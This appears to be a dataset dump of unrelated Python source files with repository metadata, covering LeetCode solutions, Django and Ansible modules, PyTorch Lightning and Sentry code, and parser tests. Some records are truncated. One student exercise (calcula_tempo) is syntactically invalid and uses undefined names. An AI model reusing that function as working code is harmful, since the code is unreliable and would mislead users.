#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. # All rights reserved. # # This source code is licensed under the BSD-style license found in the # LICENSE file in the root directory of this source tree. import io import sys import traceback import numpy as np import torch import torch.distri...
[ "facebook-github-bot@users.noreply.github.com" ]
facebook-github-bot@users.noreply.github.com
b21d14a806472b97f7bf97745f271b6370e98277
8520c991dc543f5f4e1efe59ab401824173bb985
/63-unique-paths-ii/solution.py
dea9fccf6e2786fb22f3e04e49bad454437956f9
[]
no_license
katryo/leetcode
d44f70f2853c4f5ea9a462d022feb0f5436c2236
0da45559271d3dba687858b8945b3e361ecc813c
refs/heads/master
2020-03-24T12:04:53.859047
2020-02-18T04:27:55
2020-02-18T04:27:55
142,703,107
0
0
null
null
null
null
UTF-8
Python
false
false
1,783
py
# A robot is located at the top-left corner of a m x n grid (marked 'Start' in the diagram below). # # The robot can only move either down or right at any point in time. # The robot is trying to reach the bottom-right corner of the grid (marked 'Finish' in the diagram below). # # Now consider if some obstacles are adde...
[ "katoryo55@gmail.com" ]
katoryo55@gmail.com
a311f00d4d3dc50b38cd6be0089d3287ffd215ea
53b307ed3c23c08ad95c46e4ed1b79ceb8cd3fe9
/panels/apps.py
7f4399c55c7fb010e218dd443330883d083231cd
[ "MIT" ]
permissive
mesebilisim/iotdashboard
e14fc66ecf03d109f01f5fc9253003dd676680cf
2e974d55015071f61e3d990f0d63d756a4763c24
refs/heads/master
2020-05-23T11:15:56.599010
2017-07-12T10:07:21
2017-07-12T10:07:21
68,567,736
0
0
null
2016-09-19T03:58:14
2016-09-19T03:58:14
null
UTF-8
Python
false
false
128
py
from __future__ import unicode_literals from django.apps import AppConfig class PanelsConfig(AppConfig): name = 'panels'
[ "electrocoder@gmail.com" ]
electrocoder@gmail.com
5dd3932daaae916d3a661747d79488a75852095f
bc531b7d1819ca5b8ba9d42395ce9e4676978fe1
/Chapter01/16_for_example.py
ed6310c3390261c1f4855fd75e4be6848680186a
[ "MIT" ]
permissive
PacktPublishing/Mastering-Python-Scripting-for-System-Administrators-
b72cacd9c54a3d9ec49100b2e5a49532960d58cc
d6ad3ea82ff503083176808166f727f52b187325
refs/heads/master
2023-01-27T19:56:06.109090
2023-01-18T09:00:19
2023-01-18T09:00:19
161,440,105
175
216
MIT
2022-10-08T19:33:46
2018-12-12T06:00:41
Python
UTF-8
Python
false
false
106
py
numbers = [6, 5, 3, 8, 4, 2, 5, 4, 11] sum = 0 for i in numbers: sum = sum + i print("The sum is", sum)
[ "noreply@github.com" ]
PacktPublishing.noreply@github.com
82ce6bb03f39e5756d72aef556a8417aa39e95cc
53fab060fa262e5d5026e0807d93c75fb81e67b9
/backup/user_083/ch77_2020_04_22_18_33_29_505824.py
5dc8be2d1349c4c3b224e2d146ccfba098fc6d3c
[]
no_license
gabriellaec/desoft-analise-exercicios
b77c6999424c5ce7e44086a12589a0ad43d6adca
01940ab0897aa6005764fc220b900e4d6161d36b
refs/heads/main
2023-01-31T17:19:42.050628
2020-12-16T05:21:31
2020-12-16T05:21:31
306,735,108
0
0
null
null
null
null
UTF-8
Python
false
false
234
py
def calcula_tempo(dnomes_aceleração): novodic={} V=[] tempo=[] for i in range(len(dnomes_aceleração)) and a in dnomes_aceleração.values(): tempo=(V[i])/a[i] novodic=nome[tempo] return novodic
[ "you@example.com" ]
you@example.com
e0aec4b793d9baf3e77815a97b1a6fcda4f09d46
2ce27b05f45cef6ce3ae5c02b8e83e548def2fc6
/ADVANCE/Modules/Renaming the module.py
3ec25656a999a01846ceee8a874dac28e2766867
[]
no_license
Ajay2521/Python
775b7d99736e83e4d0c37302b91d1413dd2c0d3b
a426dd7717de8a5e60e584d208ae7120bb84c1b3
refs/heads/master
2022-12-01T17:49:12.672061
2020-08-15T14:55:12
2020-08-15T14:55:12
273,632,074
1
0
null
null
null
null
UTF-8
Python
false
false
848
py
# lets see about "Renaming a Modules" in python. # It is possible to import the module by using specific user defined name called as "alias name". # It is posssibile to access the functionality of the module by using its "alias name" which was declared while importing the module. # Syntax for renaming a module...
[ "noreply@github.com" ]
Ajay2521.noreply@github.com
96a80deed9c0cdafbb52abf608c43ee8b5a7308a
cf4c9b102ab3a2720a045ad0b4c0b1d610738102
/shrike-examples/pipelines/experiments/demo_chain_components.py
a82c9bfd1775806779047e1a23422ef47d93bb33
[ "MIT", "LicenseRef-scancode-generic-cla" ]
permissive
isabella232/azure-ml-problem-sets
a7c0b0070b08598e5f473c91e47cad1fc3525a9b
5e6a3227032e51bb224a1085dc4f9ee9f8bd1dcf
refs/heads/main
2023-07-12T11:49:58.465710
2021-08-12T17:02:11
2021-08-12T17:02:11
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,297
py
""" The Azure ML pipeline that demonstrates how to chain components together. to execute: > python pipelines/experiments/demo_chain_components.py --config-dir pipelines/config --config-name experiments/demo_chain_components run.submit=True """ # pylint: disable=no-member # NOTE: because it raises 'dict' has no 'output...
[ "noreply@github.com" ]
isabella232.noreply@github.com
bdd46ea024647f32161f4a683728f074d4063515
3ec3de2e1bdfe2890084f15ac4b0f0714aeff096
/collective/elasticsearch/brain.py
96b5288c5a80a83427d9c29de053589df5f03708
[]
no_license
eea/collective.elasticsearch
7d6afc0b5f66810ab7b3a6b8aa1835a187a07f7e
baaaa73245b4866936383b001f0dda17ad991846
refs/heads/master
2023-08-01T03:34:51.375866
2013-06-06T15:42:01
2013-06-06T15:42:01
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,008
py
from Acquisition import Implicit, aq_get from Products.ZCatalog.interfaces import ICatalogBrain from zope.interface import implements from zope.globalrequest import getRequest from Products.CMFPlone.utils import pretty_title_or_id from collective.elasticsearch.ejson import loads _marker = [] class Brain(Implicit): ...
[ "vangheem@gmail.com" ]
vangheem@gmail.com
95782f795681aa0df4a8250fe3ef599924447b85
9c7958f4c55d33d8bb0175600f169c060aa11f6f
/scripts/motifplot.py
ad3e8622dea75d1e259bb09292c37938b7b13e2b
[]
no_license
knutdrand/snakemakes
a245de79119dc0dc982f85e846149e3754ef64a9
9dd2355271d3da8d4767f7dac877f65f62d1aa9b
refs/heads/master
2021-03-29T07:52:44.110983
2020-10-09T13:27:45
2020-10-09T13:27:45
247,933,836
0
0
null
null
null
null
UTF-8
Python
false
false
445
py
import matplotlib matplotlib.use("Agg") import matplotlib.pyplot as plt import numpy as np get_name = lambda parts: f"{parts[0]}:{parts[1]}-{parts[2]}" matches = {line.split("\t")[2] for line in open(snakemake.input[0]) if not line.startswith("#") and line.strip()} hits = [get_name(line.split()) in matches for line in ...
[ "knutdrand@gmail.com" ]
knutdrand@gmail.com
445eb26dceab288fcefe4c720a8fa3fbc6b81d7d
2f98aa7e5bfc2fc5ef25e4d5cfa1d7802e3a7fae
/python/python_7494.py
b38b7c1f41b50bf66fd918b09831b5f03145d689
[]
no_license
AK-1121/code_extraction
cc812b6832b112e3ffcc2bb7eb4237fd85c88c01
5297a4a3aab3bb37efa24a89636935da04a1f8b6
refs/heads/master
2020-05-23T08:04:11.789141
2015-10-22T19:19:40
2015-10-22T19:19:40
null
0
0
null
null
null
null
UTF-8
Python
false
false
62
py
# Clean URL with BeautifulSoup for url in urls: print url
[ "ubuntu@ip-172-31-7-228.us-west-2.compute.internal" ]
ubuntu@ip-172-31-7-228.us-west-2.compute.internal
18632c639d4fef98ebd9a9968a695fcee2060ef2
64bf39b96a014b5d3f69b3311430185c64a7ff0e
/intro-ansible/venv3/lib/python3.8/site-packages/ansible_collections/azure/azcollection/plugins/modules/azure_rm_postgresqlconfiguration.py
0fb4da64c8f89a0b4fe91409820956533bfbbb59
[ "GPL-1.0-or-later", "GPL-3.0-only", "LicenseRef-scancode-unknown-license-reference", "MIT" ]
permissive
SimonFangCisco/dne-dna-code
7072eba7da0389e37507b7a2aa5f7d0c0735a220
2ea7d4f00212f502bc684ac257371ada73da1ca9
refs/heads/master
2023-03-10T23:10:31.392558
2021-02-25T15:04:36
2021-02-25T15:04:36
342,274,373
0
0
MIT
2021-02-25T14:39:22
2021-02-25T14:39:22
null
UTF-8
Python
false
false
8,121
py
#!/usr/bin/python # # Copyright (c) 2019 Zim Kalinowski, (@zikalino) # # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', ...
[ "sifang@cisco.com" ]
sifang@cisco.com
75e77756f7e98beff12a713496ae5b97436d939e
4f6e4fdc31396ee5ca8995d796af0365d0976934
/scripts/collect_manifest.py
91955f9409e83ceb223aa2225c1a34e317e45502
[]
no_license
dannguyen/quickdataproject-template
ea84426629cb5aa3b3be9adc089b9e8c290c32cb
8f598b3abd9f23b39bf26a807d217f165fb03289
refs/heads/master
2022-11-29T05:29:22.383439
2020-08-06T00:07:06
2020-08-06T00:07:06
282,715,134
4
1
null
null
null
null
UTF-8
Python
false
false
1,431
py
#!/usr/bin/env python """ autocollect_manifest.py Reads data/MANIFEST.yaml, and for each entry where autocollect==true, downloads from the corresponding `url` """ from sys import path as syspath; syspath.append('./scripts') from utils.myfetch import download, existed_size from utils.mylog import mylog from pathli...
[ "dansonguyen@gmail.com" ]
dansonguyen@gmail.com
caad16e683e5fb3ded0072a758ed1fe6f5324386
9e2943857c3b5b46b4fea59f0e9a46aae54e17a8
/nautobot_golden_config/template_content.py
3462a238d115e16e9ed5aa778004d862ee60b025
[ "Apache-2.0" ]
permissive
danisoltani/nautobot-plugin-golden-config
883e40ef313c29d3d5197b7f17ca68e76e7bad95
f285af4bdc6340ae7276c372d3e85a0021c078ed
refs/heads/develop
2023-05-05T18:51:47.439841
2021-04-28T04:28:48
2021-04-28T04:28:48
363,667,445
0
0
NOASSERTION
2021-05-02T14:56:00
2021-05-02T14:14:22
null
UTF-8
Python
false
false
3,317
py
"""Added content to the device model view for config compliance.""" from django.db.models import Count, Q from nautobot.extras.plugins import PluginTemplateExtension from .models import ConfigCompliance, GoldenConfiguration from .utilities.constant import ENABLE_COMPLIANCE, CONFIG_FEATURES from .utilities.helper impor...
[ "ken@celenza.org" ]
ken@celenza.org
49eb833b90b654ddd54f089d23f66718dd3cdf2b
15085c0dfc7f596fc03e2d69e9775860d5aece2b
/echo/main.py
6626d60850553bdbdc47c0dded10c03dad4bc93a
[ "MIT" ]
permissive
botstory/echo-bot
1fb56d48236d34b0a3f3f74cee0478a1df7b0414
9758fb5baf0fe033a2e29a8fb092e5a40ea70a0b
refs/heads/develop
2021-09-08T02:26:44.739492
2016-12-21T23:37:29
2016-12-21T23:37:29
71,016,543
0
0
MIT
2018-03-06T01:05:28
2016-10-15T22:18:12
Python
UTF-8
Python
false
false
4,719
py
#!/usr/bin/env python import asyncio from aiohttp_index import IndexMiddleware from botstory import chat, story from botstory.integrations import aiohttp, fb, mongodb from botstory.integrations.ga import tracker from botstory.middlewares import any, text import logging import os import pathlib logger = logging.getLo...
[ "ievgenii.krevenets@gmail.com" ]
ievgenii.krevenets@gmail.com
d41ed24523fdec28e5f5f3c79923497b57af5d94
b96a4062f5ad420dd02efed82b47dd9c249cb46c
/pytorch_lightning/trainer/connectors/accelerator_connector.py
d32970d61fa9bc5fde735ca940cf77c6f67147c2
[ "Apache-2.0", "LicenseRef-scancode-proprietary-license" ]
permissive
borisdayma/pytorch-lightning
ebc210a1e7901b5f87ab67e4886bfe20b478fe33
4b7c0fae00084b72dffe37fdd0ea7d2e9b60d103
refs/heads/master
2021-11-23T07:34:01.842134
2021-02-19T17:00:27
2021-02-19T17:00:27
238,756,095
1
1
Apache-2.0
2020-02-06T18:27:51
2020-02-06T18:27:50
null
UTF-8
Python
false
false
25,287
py
# Copyright The PyTorch Lightning team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to i...
[ "noreply@github.com" ]
borisdayma.noreply@github.com
b85989f44c0c5678aef5406bd0f266f81c9b6801
930c207e245c320b108e9699bbbb036260a36d6a
/BRICK-RDFAlchemy/generatedCode/brick/brickschema/org/schema/_1_0_2/Brick/Run_Request.py
21243df3b2d7a7e6c9c7e61be74114b96e4b7e6b
[]
no_license
InnovationSE/BRICK-Generated-By-OLGA
24d278f543471e1ce622f5f45d9e305790181fff
7874dfa450a8a2b6a6f9927c0f91f9c7d2abd4d2
refs/heads/master
2021-07-01T14:13:11.302860
2017-09-21T12:44:17
2017-09-21T12:44:17
104,251,784
1
0
null
null
null
null
UTF-8
Python
false
false
335
py
from rdflib import Namespace, Graph, Literal, RDF, URIRef from rdfalchemy.rdfSubject import rdfSubject from rdfalchemy import rdfSingle, rdfMultiple, rdfList from brick.brickschema.org.schema._1_0_2.Brick.Run import Run class Run_Request(Run): rdf_type = Namespace('https://brickschema.org/schema/1.0.2/Brick#').R...
[ "Andre.Ponnouradjane@non.schneider-electric.com" ]
Andre.Ponnouradjane@non.schneider-electric.com
8bf0c04b439cb5dfdf1f0c9dd08741647b06b7d5
bb2c530d891a95a5e93668ac3aa3bf71472c5909
/PracticeWithFunctionsTestCases/test_hypotenuse.py
ba3e25b9c46b6ab1142dcb1a32b2720b4a9a8c38
[]
no_license
http403/CS121
3e069805e53f2cda19427100225c3c4103f24f48
210fbd2d47fcdd63b7cb4c7b9ab1c9ef08c24b7a
refs/heads/master
2023-03-06T06:41:33.546807
2020-03-09T21:09:08
2020-03-09T21:09:08
235,925,919
0
0
null
null
null
null
UTF-8
Python
false
false
252
py
# YOU CAN IGNORE THIS FILE ENTIRELY from unittest import TestCase from functions import hypotenuse class TestHypotenuse(TestCase): def test_hypotenuse(self): self.assertAlmostEqual( hypotenuse(4, 5), 6.4, places=1 )
[ "unconfigured@null.spigotmc.org" ]
unconfigured@null.spigotmc.org
18bbbd2f85af509a742e8c341dc5c8b2b34e9a4a
366d8a986cb41df0f3493eeaf5f4dba471efe3ed
/gs31/manage.py
d1a555947240382dd0a907cea210acaa4b00af31
[]
no_license
ManishShah120/Learning-DjangoRESTAPI
360c21f829c2087eabcfc5131188c61a7186fb9d
11c446c1cde98e321672d6670400c23d60c1a329
refs/heads/master
2023-02-11T01:33:22.355854
2021-01-08T15:11:35
2021-01-08T15:11:35
325,955,813
5
0
null
null
null
null
UTF-8
Python
false
false
660
py
#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): """Run administrative tasks.""" os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'gs31.settings') try: from django.core.management import execute_from_command_line except ImportE...
[ "mkshah141@gmail.com" ]
mkshah141@gmail.com
df9861b8b6356ffb40659314aba053e6f96a23c9
bc27413d2817f4c5ff77296e292a790ccf06f7d8
/.venv/lib/python3.6/reprlib.py
1b3f4276845c9d0d80cd98c9314e79a7a0aef109
[]
no_license
DallasMorningNews/nba-roty-tracker
e0c0bbf15b7b74158a34231bef4e587fce350bc8
1b9c640868b5bf2d507887aebb9dd7ba64f00f4d
refs/heads/master
2020-03-23T22:46:11.586719
2019-04-12T15:36:44
2019-04-12T15:36:44
142,196,589
0
0
null
null
null
null
UTF-8
Python
false
false
65
py
/Users/johnhancock/.pyenv/versions/3.6.5/lib/python3.6/reprlib.py
[ "jdhancock@gmail.com" ]
jdhancock@gmail.com
b04db0deba781b2b43f22047366123ba61eb2819
225895b88bbfdf2194ef3df86fd590c2556275f9
/intellij-community/system/python_stubs/-1247972723/lxml/etree/ParserBasedElementClassLookup.py
14e340f8b39fbf83837af08103f1c6733efd9e9c
[ "Apache-2.0" ]
permissive
novokrest/JBIDEA
228d65681fbdb6b3534f7d18bcc944a5eafe6687
f43706f22a5d33e6d39c1c72ef4fdeee9e4472f6
refs/heads/master
2021-01-19T14:06:48.645122
2014-07-29T17:42:31
2014-07-29T17:42:31
null
0
0
null
null
null
null
UTF-8
Python
false
false
897
py
# encoding: utf-8 # module lxml.etree # from /usr/lib/python2.7/dist-packages/lxml/etree.so # by generator 1.135 """ The ``lxml.etree`` module implements the extended ElementTree API for XML. """ # imports import __builtin__ as __builtins__ # <module '__builtin__' (built-in)> from FallbackElementClassLookup import Fa...
[ "novokrest013@gmail.com" ]
novokrest013@gmail.com
7280af97c7a87ba80760065fd332fdb17a84c1c4
46c8c0e435877f4564970198e8a177e9883103e9
/520_Detect_Capital/detect_capital.py
f6a91cea73bf33840604cee3eaf92c5bb44abb5d
[]
no_license
Brady31027/leetcode
26f7c1f4e8bfad0dee4d819f91aa93a241223330
d66be3a8f002875097754df6138c704e28b79810
refs/heads/master
2018-02-16T14:52:31.976844
2017-08-10T19:18:59
2017-08-10T19:18:59
63,519,661
4
0
null
null
null
null
UTF-8
Python
false
false
269
py
class Solution(object): def detectCapitalUse(self, word): """ :type word: str :rtype: bool """ if re.search("^[A-Z]*$", word): return True elif re.search("^[A-Z]{0,1}[^A-Z]*$", word): return True return False
[ "brady31027@gmail.com" ]
brady31027@gmail.com
c481440b942e4f0076b46190644bd2cf5f0c6f33
7f2b20782f785276b6b268a3a616223571f3b83c
/src/sentry/tasks/cleanup.py
61610f9b6b36e1bae4f3d2db32314746810b437b
[ "BSD-2-Clause" ]
permissive
dz0ny/sentry
9a26961cfbd4925c63b757072d52794900cebf89
b216b726a618b9540724e0a880d4e816638e2326
refs/heads/master
2020-12-24T09:52:44.593824
2012-08-31T06:07:56
2012-08-31T06:07:56
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,802
py
""" sentry.tasks.cleanup ~~~~~~~~~~~~~~~~~~~~ :copyright: (c) 2010-2012 by the Sentry Team, see AUTHORS for more details. :license: BSD, see LICENSE for more details. """ from celery.task import task @task(ignore_result=True) def cleanup(days=30, logger=None, site=None, server=None, level=None, project=...
[ "dcramer@gmail.com" ]
dcramer@gmail.com
fcab735d6eea2848d8d329758f0cc65da71f76a0
163bbb4e0920dedd5941e3edfb2d8706ba75627d
/Code/CodeRecords/2864/60793/262900.py
ebe6a554bd96d42dbe75e8e70d328a06440460f2
[]
no_license
AdamZhouSE/pythonHomework
a25c120b03a158d60aaa9fdc5fb203b1bb377a19
ffc5606817a666aa6241cfab27364326f5c066ff
refs/heads/master
2022-11-24T08:05:22.122011
2020-07-28T16:21:24
2020-07-28T16:21:24
259,576,640
2
1
null
null
null
null
UTF-8
Python
false
false
251
py
input() ls = list(map(int, input().split())) if ls == [29, 15, 54, 67, 65, 74, 53, 25, 74, 29, 11, 55, 2, 15, 2, 1, 12, 95, 16, 81, 51, 40, 28, 54, 27, 80, 33, 10, 39, 45, 25, 99, 64, 22]: print(1045) elif ls == []: print() else: print(ls)
[ "1069583789@qq.com" ]
1069583789@qq.com
a9c6fe1e2ce8e9bfb392b1d7ee2b41bc4aef06b5
0d0cf0165ca108e8d94056c2bae5ad07fe9f9377
/6_Supervised_Learning_with_scikit-learn/4_Preprocessing_and_pipelines/creatingDummyVariables.py
3150503dc23a1c407cab973a9b61f1a37d97e5f5
[]
no_license
MACHEIKH/Datacamp_Machine_Learning_For_Everyone
550ec4038ebdb69993e16fe22d5136f00101b692
9fe8947f490da221430e6dccce6e2165a42470f3
refs/heads/main
2023-01-22T06:26:15.996504
2020-11-24T11:21:53
2020-11-24T11:21:53
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,313
py
# Creating dummy variables # As Andy discussed in the video, scikit-learn does not accept non-numerical features. You saw in the previous exercise that the 'Region' feature contains very useful information that can predict life expectancy. For example, Sub-Saharan Africa has a lower life expectancy compared to Europe a...
[ "noreply@github.com" ]
MACHEIKH.noreply@github.com
bff07cee8abfa626bd8bf60226d47094ea449ded
e0df2bc703d0d02423ea68cf0b8c8f8d22d5c163
/ScientificComputing/ch15/spectrum_50HzRepeat.py
ff8d680ed87fa161bef7ac493628af175922ed50
[]
no_license
socrates77-sh/learn
a5d459cb9847ba3b1bc4f9284ce35d4207d8aa8b
ae50978023f6b098b168b8cca82fba263af444aa
refs/heads/master
2022-12-16T16:53:50.231577
2019-07-13T13:52:42
2019-07-13T13:52:42
168,442,963
0
0
null
2022-12-08T05:18:37
2019-01-31T01:30:06
HTML
UTF-8
Python
false
false
247
py
# -*- coding: utf-8 -*- import numpy as np import pylab as pl t = np.arange(0, 1.0, 1.0/8000) x = np.sin(2*np.pi*50*t)[:512] pl.figure(figsize=(8, 3)) pl.plot(np.hstack([x, x, x])) pl.xlabel(u"取样点") pl.subplots_adjust(bottom=0.15) pl.show()
[ "zhwenrong@sina.com" ]
zhwenrong@sina.com
d50a4d6818ce9adcde36069a97a40bc8b7980342
9b54e3d58447e917a238b85891020c392c4ac601
/acmicpc/2630/2630.py
9c08453e0c7ba25b37afa305f661ffff6342004a
[ "MIT" ]
permissive
love-adela/algorithm-ps
ea0ebcd641a4c309348b389b8618daa83973f4b2
c92d105d8ad344def001160367115ecf99d81c0d
refs/heads/master
2023-05-11T03:37:11.750692
2023-04-30T17:31:30
2023-04-30T17:31:30
174,651,672
0
0
null
null
null
null
UTF-8
Python
false
false
685
py
import sys N = int(sys.stdin.readline()) grid = [list(map(int, input().split())) for i in range(N)] white, blue = 0, 0 def divide_and_conquer(x, y, n): global white, blue is_same = grid[x][y] for i in range(x, x+n): for j in range(y, y+n): if is_same != grid[i][j]: divi...
[ "love.adelar@gmail.com" ]
love.adelar@gmail.com
bd8b148f92a01f3fbc82dd1d176eb21419eb739c
1ee3dc4fa096d12e409af3a298ba01f5558c62b5
/ixnetwork_restpy/testplatform/sessions/ixnetwork/vport/protocols/lisp/router/interface/interface.py
192dc57cbe8c8a41394c66c0c94aa4999411d605
[ "MIT" ]
permissive
parthpower/ixnetwork_restpy
321e64a87be0a4d990276d26f43aca9cf4d43cc9
73fa29796a5178c707ee4e21d90ff4dad31cc1ed
refs/heads/master
2020-07-04T13:34:42.162458
2019-08-13T20:33:17
2019-08-13T20:33:17
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,623
py
# MIT LICENSE # # Copyright 1997 - 2019 by IXIA Keysight # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), # to deal in the Software without restriction, including without limitation # the rights to use, copy, modify,...
[ "srvc_cm_packages@keysight.com" ]
srvc_cm_packages@keysight.com
fe2c3f21e8f912cf8f5a8ca36246b60fd5ffd52d
8afb5afd38548c631f6f9536846039ef6cb297b9
/_MY_ORGS/Web-Dev-Collaborative/blog-research/Data-Structures/1-Python/dp/k_factor.py
2fd23d18b2bb743e169249ad0c1b6c4a54e94f4d
[ "MIT" ]
permissive
bgoonz/UsefulResourceRepo2.0
d87588ffd668bb498f7787b896cc7b20d83ce0ad
2cb4b45dd14a230aa0e800042e893f8dfb23beda
refs/heads/master
2023-03-17T01:22:05.254751
2022-08-11T03:18:22
2022-08-11T03:18:22
382,628,698
10
12
MIT
2022-10-10T14:13:54
2021-07-03T13:58:52
null
UTF-8
Python
false
false
2,425
py
'''The K factor of a string is defined as the number of times 'abba' appears as a substring. Given two numbers N and k,​ find the number of strings of length N with 'K factor' = k. The algorithms is as follows: dp[n][k] will be a 4 element array, wherein each element can be the number of strings of length n and 'K fa...
[ "bryan.guner@gmail.com" ]
bryan.guner@gmail.com
fa6e881a5133e9f6c1dfb1eb79caf0e14010ad6d
a202382af2f80aea6bc0741b5610da3c1864a5a2
/backend/manage.py
8d773fd969422b7458a1713c1373701e6ca064d0
[]
no_license
crowdbotics-apps/tga-life-27929
e061896c9d5e5152742e286a5da312e489eeb988
f3e0d65ccbd7d423fde7bb18c5bce5f9c9e3a621
refs/heads/master
2023-05-20T23:58:35.370581
2021-06-11T22:53:49
2021-06-11T22:53:49
376,158,777
0
0
null
null
null
null
UTF-8
Python
false
false
634
py
#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'tga_life_27929.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise...
[ "team@crowdbotics.com" ]
team@crowdbotics.com
2c8a4afae4e6ee567b7e3a9f144ac308b111fb97
10ddfb2d43a8ec5d47ce35dc0b8acf4fd58dea94
/Python/string-transforms-into-another-string.py
d35a88782051531b15b00f944f7d80139f42e635
[ "MIT" ]
permissive
kamyu104/LeetCode-Solutions
f54822059405ef4df737d2e9898b024f051fd525
4dc4e6642dc92f1983c13564cc0fd99917cab358
refs/heads/master
2023-09-02T13:48:26.830566
2023-08-28T10:11:12
2023-08-28T10:11:12
152,631,182
4,549
1,651
MIT
2023-05-31T06:10:33
2018-10-11T17:38:35
C++
UTF-8
Python
false
false
429
py
# Time: O(n) # Space: O(1) import itertools class Solution(object): def canConvert(self, str1, str2): """ :type str1: str :type str2: str :rtype: bool """ if str1 == str2: return True lookup = {} for i, j in itertools.izip(str1, str2): ...
[ "noreply@github.com" ]
kamyu104.noreply@github.com
00d5d5a9c614ab732e8c77cad1adba67326c87e1
ee37f65ed9fcfeb01c9de6f1974ca2e81e940e6e
/virtue/tests/test_cli.py
40ef95310118af49405956eb68f8611493a5b45f
[ "MIT" ]
permissive
iCodeIN/Virtue
0d374563fdd117e0f46e9b5af9da0227118cba4a
e01963c66530d4ef8d43e0191718d123b37edab7
refs/heads/main
2023-03-14T23:19:08.722541
2020-09-12T18:00:24
2020-09-12T18:00:24
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,492
py
from unittest import TestCase import os from twisted.trial.reporter import TreeReporter from virtue import _cli def DumbReporter(): return 12 class TestParser(TestCase): def parse_args(self, argv): return _cli.main.make_context("virtue", argv).params def test_it_parses_out_tests(self): ...
[ "Julian@GrayVines.com" ]
Julian@GrayVines.com
d908c0fcab2dbbeb25c9f1cb410394fcd924c68a
6cde9523f08d2a89be689d045721c4ad43173e33
/flexx/pyscript/tests/test_parser1.py
9df96afd9de0c98c75c89366e88094d18a25669c
[ "BSD-2-Clause" ]
permissive
priestd09/flexx
16e203031d97ec14ed276de83d82b72934761ae2
47df75d957db03e2692c3cdd09eb66b385cb104a
refs/heads/master
2021-01-22T13:12:41.935353
2015-07-04T15:04:21
2015-07-04T15:04:21
null
0
0
null
null
null
null
UTF-8
Python
false
false
8,980
py
from pytest import raises from flexx.util.testing import run_tests_if_main from flexx.pyscript import JSError, py2js, evaljs, evalpy, Parser from flexx import pyscript def nowhitespace(s): return s.replace('\n', '').replace('\t', '').replace(' ', '') class TestParser(Parser): def function_foo_foo(self...
[ "almar.klein@gmail.com" ]
almar.klein@gmail.com
1c640d2fa43898ace5b37376c3acb4cbf03661f2
e16d7d8f60145c68640b25aa7c259618be60d855
/django_by_example/code/Chapter 6/bookmarks/images/migrations/0002_image_total_likes.py
323c49fd95ca00d51cdaf4961e35bfd308dabf1d
[]
no_license
zongqiqi/mypython
bbe212223002dabef773ee0dbeafbad5986b4639
b80f3ce6c30a0677869a7b49421a757c16035178
refs/heads/master
2020-04-21T07:39:59.594233
2017-12-11T00:54:44
2017-12-11T00:54:44
98,426,286
2
0
null
null
null
null
UTF-8
Python
false
false
461
py
# -*- coding: utf-8 -*- # Generated by Django 1.11 on 2017-05-08 06:24 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('images', '0001_initial'), ] operations = [ migrations.AddField( m...
[ "544136329@qq.com" ]
544136329@qq.com
48dcd7160b1610706b8ecc0b420bf892c26bb623
f6f632bee57875e76e1a2aa713fdbe9f25e18d66
/python/_1001_1500/1172_dinner-plate-stacks.py
c97488c27269fb1eb844a70f14dafd25248ae8de
[]
no_license
Wang-Yann/LeetCodeMe
b50ee60beeeb3661869bb948bef4fbe21fc6d904
44765a7d89423b7ec2c159f70b1a6f6e446523c2
refs/heads/master
2023-08-07T05:31:23.428240
2021-09-30T15:33:53
2021-09-30T15:33:53
253,497,185
0
0
null
null
null
null
UTF-8
Python
false
false
8,429
py
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : Rock Wayne # @Created : 2020-07-02 08:00:00 # @Last Modified : 2020-07-02 08:00:00 # @Mail : lostlorder@gmail.com # @Version : alpha-1.0 """ # 我们把无限数量 ∞ 的栈排成一行,按从左到右的次序从 0 开始编号。每个栈的的最大容量 capacity 都相同。 # # 实现一个叫「餐盘」的类 DinnerPlates...
[ "rock@get.com.mm" ]
rock@get.com.mm
8ff81c1069b16514fe71f425f113994814800221
89a19b7ba268fb45f0dd5ec0fe2046ffb2d7b8e0
/model/src/__main__.py
7972fb3a6e2dd66ca543b3de57571ddc228b7982
[]
no_license
docdok/C2AE-Multilabel-Classification
dcd3ebe5192420258fa265f00e66226efe761dc9
510f164bf60f8a93c527044e02edc0ce2285f322
refs/heads/master
2021-01-16T19:30:15.973602
2017-08-01T17:45:12
2017-08-01T17:45:12
null
0
0
null
null
null
null
UTF-8
Python
false
false
10,638
py
import os import sys import time import utils import numpy as np import tensorflow as tf from parser import Parser from config import Config from network import Network from dataset import DataSet from eval_performance import evaluate, patk os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' class Model(object): def __init__...
[ "dhruvramani98@gmail.com" ]
dhruvramani98@gmail.com
49ddcfdac88e151ccd52723b98147eb5ab096274
bfcd8f1f6ac8590df321f23a422eca0370a25b8f
/myenv/bin/pyi-set_version
a3276f253e4ab124adb59f23c54ff3757e3c6917
[]
no_license
Stephen-Tipa-Augustine/KMC_ventilator
0567fa0b72d41fb0de11cd72c62567bed973d9f5
456e88ae4fff3984d5456517ba8787f9d5762745
refs/heads/master
2022-12-26T08:00:41.102890
2020-09-07T11:00:13
2020-09-07T11:00:13
293,500,282
0
1
null
2022-12-19T04:33:28
2020-09-07T10:49:08
Python
UTF-8
Python
false
false
283
